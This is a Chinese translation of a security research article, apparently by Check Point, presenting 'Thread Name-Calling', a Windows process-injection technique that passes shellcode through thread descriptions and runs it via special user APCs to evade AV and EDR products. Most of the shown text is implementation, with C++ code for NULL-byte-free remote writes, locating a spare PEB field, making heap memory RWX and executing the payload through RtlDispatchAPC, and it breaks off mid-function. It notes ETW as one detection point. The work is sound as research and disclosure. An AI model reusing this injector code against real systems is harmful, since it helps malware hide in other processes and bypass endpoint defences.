剑和沙盒 6 - 线程辱骂 – 使用线程名称进行攻击

强调:

  • 进程注入是攻击者工具包中的重要技术之一。
  • 在下面的文章中 解释了如何滥用线程描述 API 来绕过端点保护产品。
  • 提出了一种新的注入技术:Thread Name-Calling,并给出了实施保护的相关建议。

介绍

进程注入是攻击者使用的重要技术之一 。我们可以在几乎所有恶意软件中发现其变体。它的目的包括:

  • 防御规避:将恶意模块隐藏在不同进程的掩护下
  • 对现有进程的干扰:读取其内存、挂钩所使用的 API 等。
  • 特权升级

由于恶意模块对进程内存的干扰会造成很大的破坏,因此各种 AV 和 EDR 产品都会监控此类行为并尝试阻止它们。但是,这种监控是基于对注入方法实现中使用的通用 API 的了解。这种猫捉老鼠的游戏永无止境。网络犯罪分子以及 红队成员不断尝试通过使用一些非典型 API 来破坏已知模式,并借此逃避当时实施的检测。其中一个例子是 Atom Bombing 技术 (从 2016 年开始),它使用 Atom Table 将代码传递到远程进程,或者最近推出的 Pool Party (从 2023 年开始),其中线程池被滥用以在不同进程的上下文中运行代码,而 EDR 不会注意到它。Amit Klein 和 Itzik Kotler 在论文“2019 年的 Windows 进程注入”中很好地描述了所使用的 API 的多样性 。

线程名称调用是该主题的另一种形式。它是一种允许使用以下 Windows API 将 shellcode 植入正在运行的进程的技术:

  • GetThreadDescription/  SetThreadDescription (在 Windows 10 1607 中引入)——用于设置和检索线程描述(又名线程名称)的 API
  • ZwQueueApcThreadEx2(Windows 10 19045 中引入)- 用于异步过程调用 (APC) 的新 API 

远程内存分配和写入是使用没有写访问权限 ( )的句柄在进程上实现的。得益于此功能,并且由于我们使用的 API 通常与进程注入无关,我们能够绕过一些主要的 AV 和 EDR 产品。在本文我们详细介绍了这种新技术的实现细节,并提出了一些可能的检测方法。PROCESS_VM_WRITE

攻击性用例中的主题名称

在开始之前,请注意,所涉及的函数相对较新,并且未在任何成熟的注入方法中使用。但是,它们并不是“全新的”——它们是几年前添加的,因此我们自然不是第一个研究它们在攻击场景中潜力的人。

Get/SetThreadDescription 可用于:

  • 未记录的 IPC:线程名称用作两个进程交换消息的“邮箱”。发送进程可以通过在其线程之一上设置描述将信息传递给接收进程。接收者从线程读取描述并进一步处理。
    • 实现:  [编码]通过线程名称进行通信(unknowncheats.me),  GitHub - LloydLabs/dearg-thread-ipc-stealth: A novel technique to communicate between threads using the standard ETHREAD structure
  • 隐藏非活动代码植入,避免内存扫描。这个想法类似于 ShellcodeFluctuation,但除了加密之外,我们还会将代码暂时存储为线程名称(内核模式结构),使其脱离工作集 - 这意味着,用户模式内存扫描器无法看到它。它将被反复检索到工作集中,在一小段时间内执行,然后再次存储为线程名称。
    • 实施:  ORCA / TDP·GitLab
  • 从用户模式在内核模式中分配内存,以便可以在与内核模式利用相关的场景中进一步使用
    • 实现: 大池中的小垃圾场(blahcat.github.io)
  • 远程代码注入
    • “DoubleBarrel” – 作者:Sam Russel,2022 年:  https://www.lodsb.com/shellcode-injection-using-threadnameinformation :使用线程劫持 的变体注入代码 ,将线程执行重定向到通过线程名称传递的内容促进的ROP链。这种技术不会创建额外的可执行内存空间——这使其有可能逃避某些检测。缺点是对 shellcode 施加的限制(它必须是手工制作的ROP链,包含特定于特定版本的 Windows 的小工具),以及 shellcode 执行后目标应用程序可能不稳定。此外,使用 API 进行直接线程操作很容易触发警报。
    • “线程名称调用注入”——本文介绍的技术。要注入的代码作为线程描述传递给目标。接下来, 通过APCGetThreadDescription 在目标上远程调用该函数, 导致描述缓冲区被复制到目标的 工作集中。使缓冲区可执行后,使用另一个APC调用运行它  。它支持任何自定义 shellcode。此技术不会破坏原始线程:目标应用程序无缝地继续执行。
  • DLL 注入变体:通常对于这种技术,我们将 DLL 的路径写入目标的地址空间,然后远程调用 以在目标中加载 DLL。与 使用  和 的经典实现LoadLibrary 不同 ,此处 DLL 的路径是通过线程名称传递的(远程写入实现方式与线程名称调用相同)。 VirtualAllocExWriteProcessMemory
    • 本文的“奖励”部分描述了该技术。

使用的 API

让我们首先看看对所介绍的技术至关重要的 API。了解其实现的细节对于解释进一步的滥用至关重要。

获取线程描述/设置线程描述

自 Windows 10 1607 起,以下功能已添加到 Windows API:

GetThreadDescription
HRESULT GetThreadDescription(
[in] HANDLE hThread,
[out] PWSTR *ppszThreadDescription
);

SetThreadDescription
HRESULT SetThreadDescription(
[in] HANDLE hThread,
[in] PCWSTR lpThreadDescription
);

它们的预期用途与设置线程的描述(名称)有关。这使我们能够识别其功能,并有助于调试。但是,如果我们以攻击性的心态看待此 API,我们很快就会发现一些滥用的可能性。

要设置名称,我们需要打开一个带有访问标志的线程句柄 THREAD_SET_LIMITED_INFORMATION。在这个最低要求下,我们可以将任意缓冲区附加到远程进程的任何线程。

缓冲区必须是 Unicode 字符串,这基本上意味着任何以 L'\0'(双 NULL 字节)结尾的缓冲区。我们可以分配的大小相当大。我们可以 将 0x10000 字节 用于完整的 UNICODE_STRING 结构以及字符串内容。删除终止符(需要空的 WCHAR 来结束缓冲区)后,这 0x10000 - sizeof(UNICODE_STRING) - sizeof(WCHAR) 为我们的数据缓冲区提供了空间。这相当于近 16 页数据,足以存储一个 shellcode 块……

API 实现

所描述的功能在 中实现 Kernelbase.dll

  1. 设置线程描述:

#define ThreadNameInformation 0x26

HRESULT __stdcall SetThreadDescription(HANDLE hThread, PCWSTR lpThreadDescription)
{
NTSTATUS status; // eax
struct _UNICODE_STRING DestinationString;

status = RtlInitUnicodeStringEx(&DestinationString, lpThreadDescription);
if ( status >= 0 )
status = NtSetInformationThread(hThread, ThreadNameInformation, &DestinationString, 0x10u);
return status | 0x10000000;
}

}

此函数要求我们传递一个 Unicode 字符串缓冲区 ( WCHAR*),然后从中创建一个 UNICODE_STRING 结构,该结构将进一步传递。

查看实现,我们可以看到将字符串设置到线程上是通过 实现的 NtSetInformationThread。返回值是上述低级 API 通过设置 (   )从 NTSTATUS 转换为 HRESULT 的结果。FACILITY_NT_BIT0x10000000

在我们实现远程写入时,我们首先调用 SetThreadDescription 远程线程,使其保存我们的缓冲区。

  1. 获取线程描述:
HRESULT __stdcall GetThreadDescription(HANDLE hThread, PWSTR *ppszThreadDescription)
{SIZE_T struct_len; // rbxSIZE_T struct_size; // r8NTSTATUS res; // eaxNTSTATUS status; // ebxconst UNICODE_STRING *struct_buf; // rdiULONG ReturnLength; // [rsp+58h] [rbp+10h] BYREF*ppszThreadDescription = nullptr;LODWORD(struct_len) = 144;RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, 0);for ( struct_size = 146; ; struct_size = struct_len + 2 ){struct_buf = (const UNICODE_STRING *)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, struct_size);if ( !struct_buf ){status = 0xC0000017;goto finish;}res = NtQueryInformationThread(hThread,ThreadNameInformation,(PVOID)struct_buf,struct_len,&ReturnLength);status = res;if ( res != 0xC0000004 && res != 0xC0000023 && res != 0x80000005 )break;struct_len = ReturnLength;RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, (PVOID)struct_buf);}if ( res >= 0 ){ReturnLength = struct_buf->Length;// move the buffer to the beginning of the structurememmove_0((void *)struct_buf, struct_buf->Buffer, ReturnLength);// null terminate the buffer*(&struct_buf->Length + ((unsigned __int64)ReturnLength >> 1)) = 0;// fill in the passed pointer*ppszThreadDescription = &struct_buf->Length;struct_buf = 0i64;}
finish:RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, (PVOID)struct_buf);return status | 0x10000000;
}

}

分析此函数可以发现其他一些有趣的实现细节。我们要检索的线程名称的缓冲区在检索过程中分配在堆上。该函数会自动分配一个适合相关 UNICODE_STRING的大小。然后,它会擦除​​结构的初始字段(Length 和 MaximumLength),并将缓冲区内容移向结构的开头,将其转换为一个简单的、以空字符结尾的宽字符串。接下来,指向这个新缓冲区的指针将填充到调用者传递的变量中。

如果我们进行 GetThreadDescription 远程调用,在目标进程的上下文中,我们将获得堆上缓冲区的远程分配,并用我们的内容填充它。

结构位置

查看实现,我们可以注意到,我们通过其检索的缓冲区 GetThreadDescription 只是一个本地副本。现在的问题是:与线程关联的原始 UNICODE_STRING存储在哪里?要了解更多信息,我们需要查看 Windows 内核(ntoskrnl.exe),查看设置/读取它的系统调用的实现( NtSetInformationThread 和 NtQueryInformationThread)。

事实证明,这个缓冲区存储在内核模式中,由 ETHREAD → 中的字段表示ThreadName

   lkd> dt nt!_ETHREAD[...]+0x610 ThreadName       : Ptr64 _UNICODE_STRING[...]

NtSetInformationThread 负责设置线程名称的片段 (在内核模式):
[

[...]Length = Src.Length;if ( (Src.Length & 1) != 0 || Src.Length > Src.MaximumLength ){status = 0xC000000D; // STATUS_INVALID_PARAMETER -> invalid buffer size supplied}else{PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, Src.Length + 16i64, 'mNhT'); // allocating a buffer on non paged pool, with tag 'ThNm'threadName = PoolWithTag;v113 = PoolWithTag;if ( PoolWithTag ){p_Length = &PoolWithTag[1].Length;threadName->Buffer = p_Length;threadName->Length = Length;threadName->MaximumLength = Length;memmove(p_Length, Src.Buffer, Length);eThread = Object;PspLockThreadSecurityExclusive(Object, CurrentThread);v105 = 1;P = eThread->ThreadName;eThread->ThreadName = threadName;threadName = 0i64;v113 = 0i64;EtwTraceThreadSetName(eThread);goto finish;}status = 0xC000009A;}}else{status = 0xC0000004;}v104 = status;
finish:
[...]

我们可以看到,缓冲区分配在 NonPagedPoolNx (非可执行非分页池)上。分配的缓冲区用 填充 UNICODE_STRING,其指针存储在  特定线程的结构ThreadName中。ETHREAD

设置事件 会被ETW (Event Tracing for Windows)ThreadName 注册 ,从而可以进一步检测这种注入方法。生成的事件会收集 ProcessID 和 ThreadID 等数据,这些数据是识别线程和设置的 ThreadName 所必需的。
_

__int64 __fastcall EtwTraceThreadSetName(_ETHREAD *thread)
{int v1; // r10d_UNICODE_STRING *ThreadName; // rax__int64 *Buffer; // rcxunsigned int Length; // edxunsigned __int64 len; // raxint v7[4]; // [rsp+30h] [rbp-50h] BYREF__int64 v8[2]; // [rsp+40h] [rbp-40h] BYREF__int64 *buf; // [rsp+50h] [rbp-30h]__int64 v10; // [rsp+58h] [rbp-28h]__int64 *v11; // [rsp+60h] [rbp-20h]__int64 v12; // [rsp+68h] [rbp-18h]v7[0] = thread->Cid.UniqueProcess;v1 = 2;v7[1] = thread->Cid.UniqueThread;v8[0] = v7;ThreadName = thread->ThreadName;v7[2] = 0;v8[1] = 8i64;if ( ThreadName && (Buffer = ThreadName->Buffer) != 0i64 ){Length = ThreadName->Length;len = 0x800i64;if ( Length < 0x800u )len = Length;buf = Buffer;v10 = len;if ( !len || *(Buffer + (len >> 1) - 1) ){v12 = 2i64;v11 = &EtwpNull;v1 = 3;}}else{v10 = 2i64;buf = &EtwpNull;}return EtwTraceKernelEvent(v8, v1, 2, 1352, 0x501802);
}

}

消除 NULL 字节限制

通过官方 API 设置线程名称会对缓冲区施加一些限制。它必须是有效的 Unicode 字符串,这意味着将使用空的 WCHAR 作为缓冲区终止符。WCHAR 的大小为两个字节 - 因此,如果我们的 shellcode 内部有任何双 NULL 字节,则只会复制它之前的部分。每当通过专用于保存字符串的缓冲区传递 shellcode 时,都会遇到这种常见限制。为了解决这个问题,人们发明了 shellcode 编码器:它们允许将缓冲区转换为没有 NULL 字节的格式。在我们的案例中,我们也可以使用其中一种。

但是,通过分析上述 API 的实现,我们意识到实际上可以从根本上避免这种限制。当线程名称在不同的缓冲区之间复制时,将使用结构中UNICODE_STRING声明的长度以及 memmove 不将 NULL 字节视为终止符的函数。唯一施加 NULL 字节约束的函数是 SetThreadDescription。在下面,它调用 RtlInitUnicodeStringEx 接受传递的 WCHAR 缓冲区并使用它来初始化 UNICODE_STRING 结构。输入缓冲区必须以 NULL 结尾,并且根据此字符的位置确定要保存在结构中的长度。

我们可以通过使用 SetThreadDescription 的自定义实现为我们的问题创建一个简单的解决方案:

HRESULT mySetThreadDescription(HANDLE hThread, const BYTE* buf, size_t buf_size)
{UNICODE_STRING DestinationString = { 0 };BYTE* padding = (BYTE*)::calloc(buf_size + sizeof(WCHAR), 1);::memset(padding, 'A', buf_size);auto pRtlInitUnicodeStringEx = reinterpret_cast<decltype(&RtlInitUnicodeStringEx)>(GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlInitUnicodeStringEx"));pRtlInitUnicodeStringEx(&DestinationString, (PCWSTR)padding);// fill with our real content:::memcpy(DestinationString.Buffer, buf, buf_size);auto pNtSetInformationThread = reinterpret_cast<decltype(&NtSetInformationThread)>(GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSetInformationThread"));NTSTATUS status = pNtSetInformationThread(hThread, (THREADINFOCLASS)(ThreadNameInformation), &DestinationString, 0x10u);::free(padding);return HRESULT_FROM_NT(status);
}

}

此函数根据所需长度的虚拟缓冲区初始化 UNICODE_STRING,然后用实际内容(可能包含 NULL 字节)填充它。然后,使用低级 API 将准备好的结构传递给线程:  NtSetInformationThread

队列ApcThreadEx2

在我们的注入技术的实现中,我们依赖于在目标进程内远程调用一些API。

Windows 支持将例程添加到 现有线程的异步过程调用 (APC) 队列中,从而能够在远程进程中运行代码,而无需创建其他线程。在较低级别,此功能由函数:( NtQueueApcThreadEx及其包装器NtQueueApcThread:)公开。Microsoft 推荐的官方高级 API 是 QueueUserAPC – 它充当低级函数的包装器。我们可以自由地将 APC 添加到远程线程,只要其句柄以 THREAD_SET_CONTEXT 访问权限打开即可。

相关 API 经常被滥用于 各种不同的(旧的和新的)注入技术,  MITRE 数据库中对此进行了描述。APC 允许通过跳转到现有线程来运行远程代码,这比创建远程线程的常见替代方案更为隐蔽。创建新线程会触发内核回调(PsSetCreateThreadNotifyRoutine/  ,AV/EDR 产品的内核模式组件经常使用它来进行检测。Ex

此外,APC 还为我们提供了向远程函数传递参数的更多自由。在创建新线程的情况下,我们只能传递一个参数 - 而这里我们可以使用 3 个。

但是,使用普通的 NtQueueApcThread 有一个缺点。要将我们的函数添加到 APC 队列,我们​​首先需要找到处于可警告状态(等待信号)的线程。我们的回调仅在线程被警告时执行。有关如何解决此障碍的详细信息已在 modexp的博客文章中说明。依赖可警告线程会限制我们对目标的选择,并且对它们的扫描会增加注入器的复杂性。

幸运的是,自从 Windows 引入了新类型的 APC 回调以来,这个问题的解决方法出现了。它们由 定义 QUEUE_USER_APC_FLAGS 。自从引入这种类型以来, ReserveHandle 中的 参数NtQueueApcThreadEx 被替换为 UserApcOption ,我们可以在其中传递这样的标志,从而修改函数的行为。从我们的角度来看,最有趣的是特殊用户 APC(  QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC),它允许我们注入不一定处于可警告状态的线程:

引 自 MSDN:

即使目标线程未处于可警告状态,特殊用户模式 ​​APC 也始终会执行。例如,如果目标线程当前正在执行用户模式代码,或者目标线程当前正在执行可警告等待,则目标线程将立即中断以执行 APC。如果目标线程正在执行系统调用或执行不可警告等待,则 APC 将在系统调用或不可警告等待完成后执行(等待不会被中断)。

请注意,新 API 对于改进注射方法的潜力已经被研究人员注意到,并在 repnz的博客 中进行了描述。

这种新的 APC 类型也因在应用程序中引入稳定性问题和使线程同步变得更加困难而受到批评(例如 这里)。但是,在我们的例子中,这应该不是什么大问题,因为我们使用它来运行完全独立于正在运行的应用程序的代码,并且不使用任何可能产生并发问题的资源。

支持新增 APC 类型的新 API 已在 Windows 11 (Build 22000) 中正式添加。它由函数公开:  QueueUserAPC2,在底层,它由众所周知的新版本实现 NtQueueApcThreadEx。新函数被简单调用 NtQueueApcThreadEx2 ,其原型如下(来源):
系统调用接口
状态

NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueueApcThreadEx2(_In_ HANDLE ThreadHandle,_In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject_In_ ULONG ApcFlags, // QUEUE_USER_APC_FLAGS_In_ PPS_APC_ROUTINE ApcRoutine,_In_opt_ PVOID ApcArgument1,_In_opt_ PVOID ApcArgument2,_In_opt_ PVOID ApcArgument3);


);

事实证明,我们可以在 Windows 10 上找到此 API,因为 19045 它的版本早于官方支持的版本。

由于这是一个相对较新的 API,与新的系统调用相关联,因此使用它也可以提供机会绕过一些尚未监视它的产品。

我们在线程名称调用的实现中使用此 API 来执行远程函数。不过,使用旧 API 也可以实现线程名称调用的(不太隐蔽的)变体,我们也将对此进行演示。

调度APC

该函数不是我们的技术所必需的,而是一个使 shellcode 执行更加隐秘的辅助函数。

一旦成功将 shellcode 复制到远程进程中,我们就需要运行它。我们决定通过将其起始地址添加到远程线程的 APC 队列来实现这一点。但是,由于我们的 shellcode 位于私有内存中,而不是任何映射模块中,因此直接传递其地址可能会触发一些警报。为了规避此指示器,使用某些合法函数作为代理是有益的。有多个函数允许传递要执行的回调。其中许多函数已由 Hexacorn 在他的博客中进行了广泛的记录。modexp博客 还指出 了一些有趣的补充 。

该函数 RtlDispatchAPC 看起来是个完美的候选。它有三个参数,因此与 APC API 兼容。实现如下:

void __fastcall RtlDispatchAPC(void (__fastcall *callback)(__int64), __int64 callback_arg, void *a3)
{__int64 v6 = 72LL;int v7 = 1;__int128 v8 = 0LL;__int128 v9 = 0LL;__int128 v10 = 0LL;__int64 v11 = 0LL;if ( a3 == (void *)-1LL ){callback(callback_arg);}else{RtlActivateActivationContextUnsafeFast(&v6, a3);callback(callback_arg);RtlDeactivateActivationContextUnsafeFast(&v6);RtlReleaseActivationContext(a3);}
}

}
}

为了使上述函数执行我们的 shellcode,我们需要向其传递以下参数:
RtlDispatchAPC (shellcodePtr,0,(void * )(-1 ))

请注意,它 RtlDispatchAPC 不是通过名称导出的,但是在测试的 Windows 版本上,我们可以通过 Ordinal 8 轻松找到它。

图 1 - NTDLL.DLL 符号中的 RtlDispatchAPC

图 1 – NTDLL.DLL 符号中的 RtlDispatchAPC

线程名称调用注入简介

现在我们已经介绍了所有重要的 API,让我们深入了解线程名称调用的实现细节。如前所述,它是一种技术变体,允许我们将 shellcode 注入正在运行的进程(与对需要新创建的进程进行操作的技术相反)。

最低访问权限

通常,当我们想要将缓冲区写入进程时,我们需要先打开具有写入访问权限的进程句柄(  ,这可能被视为可疑指标。线程名称调用允许我们在没有它的情况下实现写入和远程分配。PROCESS_VM_WRITE

当前提出的实现需要使用以下访问权限打开进程句柄:

HANDLE open_process(DWORD processId, bool isCreateThread)
{DWORD access = PROCESS_QUERY_LIMITED_INFORMATION // required for reading the PEB address| PROCESS_VM_READ // required for reading back the pointer to the created buffer| PROCESS_VM_OPERATION // to set memory area executable or/and allocate a new executable memory;if (isCreateThread) {access |= PROCESS_CREATE_THREAD; // to create a new thread where we can pass APC}return OpenProcess(access, FALSE, processId);
}

ssId ) ;
}

根据我们的需求,线程名称调用可以以不同的方式实现。在最隐蔽的(推荐)变体中,我们使用添加到现有线程的 APC 队列中的例程进行远程调用。但是,如果我们想在旧版本的 Windows 上运行它,其中没有新的 APC API,并且我们在所需目标中找不到可警告的线程,我们可以创建一个额外的线程。在这种情况下,需要在我们的进程句柄上设置相关的访问权限:

  • PROCESS_CREATE_THREAD

请记住,这种改变会增加该技术的检测率。但是,我们发现有些产品足以绕过它。

通常,尽量减少使用的访问权限是一种很好的做法。对于上面列出的权限,我们仍然可以通过进一步完善实现来避免使用其中的一些权限。例如:

  • PROCESS_QUERY_LIMITED_INFORMATION – 如果我们不使用 PEB 作为指针存储,则可以避免这种情况(稍后将详细说明)

在注入过程中,我们对目标进程的线程进行操作。关于线程句柄,这些是所需的最低 访问权限:

    DWORD thAccess = SYNCHRONIZE;thAccess |= THREAD_SET_CONTEXT; // required for adding to the APC queuethAccess |= THREAD_SET_LIMITED_INFORMATION; // required for setting thread description

执行

与远程 shellcode 注入的情况一样,实现必须涵盖:

  • 将我们的缓冲区写入远程进程的工作集
  • 使其可执行
  • 运行植入的代码

借助线程描述进行远程写入

让我们看一下如何借助前面提到的 API 实现远程分配以及远程写入的细节。

  • 在我们实施代码注入时,我们必须首先准备适当的 shellcode。由于我们摆脱了 NULL 字节约束,我们只需确保我们的 shellcode 不会阻塞其运行的线程,并且能够干净地退出。
  • 从我们的注入器应用程序中,我们需要选择目标中的一个线程,在那里我们可以设置包含我们的 shellcode 的线程描述。如果我们使用带有特殊用户 APC 的新 API,我们可以选择任何线程,但如果我们使用旧 API — 我们必须确保所选线程是可警告的。
  • 接下来,必须在远程进程的上下文中检索线程描述,以便将缓冲区读入进程 的工作集。这可以通过远程调用以下函数来实现:


HRESULT获取线程描述(
[在] HANDLE hThread,
[ out ] PWSTR *ppszThreadDescription // <- 我们取回指向已分配缓冲区的指针
);

请记住,上述函数会自动在堆上分配所需大小的缓冲区,然后用线程描述填充它。这为我们提供了远程写入原语以及具有读/写访问权限的缓冲区的远程分配。指向此新缓冲区的指针将填充到提供的变量中 ppszThreadDescription

因此,我们需要提前在远程进程中准备一个可以用作的内存地址 *ppszThreadDescription。它必须是被调用函数可以写回的指针大小的区域 GetThreadDescription 。有多种方法可以实现它:

  1. 在远程进程的可写内存中找到一些微小的洞穴
  2. 利用远程进程的 PEB 中的一些未使用的字段

我们决定利用 PEB 中未使​​用的田地,因为它很容易找到和检索,但如果需要,我们以后可以将其替换为洞穴。

通过检查 PEB中的字段, 我们可以发现以下内容:
[ ... ]
 P

    [...]PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex)PVOID PatchLoaderData;PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFOULONG AppModelFeatureState;ULONG SpareUlongs[2]; // ---> unused field, can be utilized to store our pointerUSHORT ActiveCodePage;USHORT OemCodePage;USHORT UseCaseMapping;USHORT UnusedNlsField;PVOID WerRegistrationData;PVOID WerShipAssertPtr;union{PVOID pContextData; // WIN7PVOID pUnused; // WIN10PVOID EcCodeBitMap; // WIN11};[...]

[ ... ]

该字段SpareUlongs看起来不错。我们可以通过使用 WinDbg 转储 PEB 来检索其精确偏移量:
lkd > dt nt!_PEB
[ ... ]
+ 0x340 SpareUlongs :[ 5 ] Uint4B
[ ... ]

PEB 具有读/写访问权限,因此通过找到一个指针大小的未使用字段,我们就有了适合远程调用函数写回的存储空间。请记住,在未来版本的 Windows 中,这些字段可能会用于某些系统数据结构,因此必须根据更新调整此解决方案。

首先,我们检索远程 PEB 的地址——我们可以通过调用 API 来完成 NtQuerySystemInformationProcess :

// the function getting the remote PEB address:
ULONG_PTR remote_peb_addr(IN HANDLE hProcess)
{PROCESS_BASIC_INFORMATION pi = { 0 };DWORD ReturnLength = 0;auto pNtQueryInformationProcess = reinterpret_cast<decltype(&NtQueryInformationProcess)>(GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess"));if (!pNtQueryInformationProcess) {return NULL;}NTSTATUS status = pNtQueryInformationProcess(hProcess,ProcessBasicInformation,&pi,sizeof(PROCESS_BASIC_INFORMATION),&ReturnLength);if (status != STATUS_SUCCESS) {std::cerr << "NtQueryInformationProcess failed" << std::endl;return NULL;}return (ULONG_PTR)pi.PebBaseAddress;
}

}

有了 PEB 的基地址后,只需添加未使用字段的已知偏移量,即可在远程进程的上下文中获取其指针:

ULONG_PTR get_peb_unused(HANDLE hProcess)
{ULONG_PTR peb_addr = remote_peb_addr(hProcess);if (!peb_addr) {std::cerr << "Cannot retrieve PEB address!\n";return NULL;}const ULONG_PTR UNUSED_OFFSET = 0x340;const ULONG_PTR remotePtr = peb_addr + UNUSED_OFFSET;return remotePtr;
}

至于设置线程描述(又名名称) - 我们可以这样做:

  1. 在现有线程上
  2. 这是我们为此目的而创建的

GetThreadDescription 通过将带有函数的 APC 传递给设置它的同一线程来检索名称 (因为这个函数有 2 个参数,并且通过 APC 调用我们可以传递最多 3 个参数,所以它很合适)。

边注:

此函数 GetThreadDescription 要求我们将句柄传递给我们想要读取其描述(名称)的线程。我们可以在与读回名称不同的线程上设置名称。但请记住,此函数将在目标进程的上下文中执行。因此,我们在注入器进程上下文中打开的线程句柄不再有效。在不同进程的上下文中使用它将要求我们复制  命名线程的 句柄PROCESS_DUP_HANDLE。这意味着,我们必须通过设置来扩展对目标进程的访问权限,因此最好避免这样做。替代方案要简单得多:因为我们通过命名线程本身检索名称,所以使用伪 handle  NtCurrentThread()= (-2) 就足够了,它在自身引用当前线程时始终有效。

在第一个(首选)场景中,如果我们利用进程中已在运行的线程,我们应该:

  • 使用新的 APC API,并将我们的函数添加为特殊用户 APC(QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
  • 找到一个处于可改变状态的线程,这样当线程被警告时就可以调用我们的函数

该线程必须处于打开状态并且(至少) THREAD_SET_CONTEXT | THREAD_SET_LIMITED_INFORMATION 具有访问权限。

在第二种情况下,对于新创建的线程,如果我们将其与旧 API 结合使用,我们还必须确保该线程是可警告的,以便执行我们的 APC。如何执行的示例:

  • 在良性函数 (即 Sleep来自 ExitThread kernel32) 上创建一个 暂停线程,将所需函数添加到 APC 队列,然后恢复它
  • SleepEx 在函数上创建一个线程 。此函数需要两个参数,第二个参数定义 Sleep 是否可发出警报。使用线程创建函数我们只能传递一个参数 - 这听起来像是一个问题。但是,第二个所需的参数是布尔值,这意味着任何非零值都被视为 TRUE。在 x64 调用约定中,第二个参数通过 RDX 寄存器传递,因此如果在调用时 RDX 寄存器保存任何非零值,我们的SleepEx将被视为可发出警报。这意味着,很有可能所需的值已经设置。

只有在调用我们的 APC后才能执行任何其他步骤。在此之前,我们还没有将缓冲区放入远程进程中,也不知道它将存储在哪个地址。因此,为了传递缓冲区,我们需要第一个 APC。在它完成并写入缓冲区后,我们需要第二个 APC 才能运行它。

wchar_t* pass_via_thread_name(HANDLE hProcess, const wchar_t* buf, const void* remotePtr)
{if (!remotePtr) {std::cerr << "Return pointer not set!\n";return nullptr;}HANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT | THREAD_SET_LIMITED_INFORMATION);if (!hThread || hThread == INVALID_HANDLE_VALUE) {std::cerr << "Invalid thread handle!\n";return nullptr;}HRESULT hr = mySetThreadDescription(hThread, buf); // customized SetThreadDescription allows to pass a buffer with NULL bytesif (FAILED(hr)) {std::cout << "Failed to set thread desc" << std::endl;return nullptr;}if (!queue_apc_thread(hThread, GetThreadDescription, (void*)NtCurrentThread(), (void*)remotePtr, 0)) {CloseHandle(hThread);return nullptr;}// close thread handleCloseHandle(hThread);wchar_t* wPtr = nullptr;bool isRead = false;while ((wPtr = (wchar_t*)read_remote_ptr(hProcess, remotePtr, isRead)) == nullptr) {if (!isRead) return nullptr;Sleep(1000); // waiting for the pointer to be written;}std::cout << "Written to the Thread\n";return wPtr;
}

}

上述函数完成后,我们将缓冲区写入远程进程。我们还获得了指向它的指针。这意味着远程写入已完成。

图 2 – 利用线程名称进行远程写入

此时我们的有效载荷已经存储在远程进程的工作集中。但是,它位于堆上分配的不可执行内存中。

要继续,我们需要执行以下操作之一:

  • 在可执行内存中找到一个空的洞穴,并将其复制到那里(最隐秘的选择,不幸的是,在实践中不太可能找到合适的洞穴)
  • 分配一个合适大小的新的可执行缓冲区,并将其复制到那里
  • 设置包含它的整个页面的读写执行 (RWX) 访问权限(我们不能只将其设为 RX:请记住它是用于堆的页面,并且还有一些其他内容与我们的缓冲区一起存储)

RtlMoveMemory 通过调用具有 3 个参数的from 函数,我们可以通过 APC 将缓冲区从堆复制到不同的内存区域 ntdll。但是,获取可执行缓冲区则比较困难。

所提出的解决方案都不是完美的,但根据具体情况,它们可能足够了。

分配新缓冲区是最干净的选项,但它有一些缺点。要从远程进程执行此操作,我们必须VirtualAllocEx使用 RWX 访问权限进行调用 - 这是可疑的。VirtualAlloc通过 APC 进行远程调用是不可能的:此函数有 4 个参数,而使用 APC 的 API 我们只能传递 3 个。

另一种方法是使用我们已经拥有的缓冲区(在堆上分配),然后更改其内存保护。我们可以通过调用 来实现 VirtualProtectEx。在远程进程内更改页面的内存保护仍然很可疑,但这种方法的优点是它所需的步骤比前面介绍的要少。同样,远程调用该函数的本地等效函数: VirtualProtect 与调用 存在同样的问题 VirtualAlloc

尽管如此,仍有可能通过ROP 远程调用VirtualAlloc/来进行内存保护或分配(作为我们的 PoC 代码中的选项之一)。但这种方法也有自己的问题,以及一组不同的可疑指标。它需要使用 API 进行直接线程操作(/ ,/ )。根据我们执行的测试,这会引发更多警报,并导致我们的注入器被许多 AV/EDR 产品标记。此外,如果启用了 DCP(动态代码禁止),则从进程内部分配可执行内存将失败。VirtualProtectSuspendThreadResumeThreadSetThreadContextGetThreadContext

考虑了所有的利弊之后,我们决定简单化,直接调用 VirtualProtectEx。第二个代码片段演示了替代版本,即 VirtualAllocEx

一旦我们的 shellcode 进入可执行内存区域,我们就可以运行它了。我们使用另一个 APC 来触发执行(需要具有访问 THREAD_SET_CONTEXT 权限的线程句柄)。此外,我们可以使用上述函数RtlDispatchAPC作为代理来调用注入的代码。

说明基本实现的代码片段:

bool run_injected_v1(HANDLE hProcess, void* remotePtr, size_t payload_len)
{DWORD oldProtect = 0;if (!VirtualProtectEx(hProcess, remotePtr, payload_len, PAGE_EXECUTE_READWRITE, &oldProtect)) {std::cout << "Failed to protect!" << std::hex << GetLastError() << "\n";return false;}HANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT);if (!hThread || hThread == INVALID_HANDLE_VALUE) {std::cerr << "Invalid thread handle!\n";return false;}bool isOk = false;auto _RtlDispatchAPC = GetProcAddress(GetModuleHandle("ntdll.dll"), MAKEINTRESOURCE(8)); //RtlDispatchAPC;if (_RtlDispatchAPC) {if (queue_apc_thread(hThread, _RtlDispatchAPC, shellcodePtr, 0, (void*)(-1))) {isOk = true;}}CloseHandle(hThread);return isOk;
}


}

扩展版本,涵盖不同的可能性:

bool run_injected(HANDLE hProcess, void* remotePtr, size_t payload_len)
{void* shellcodePtr = remotePtr;
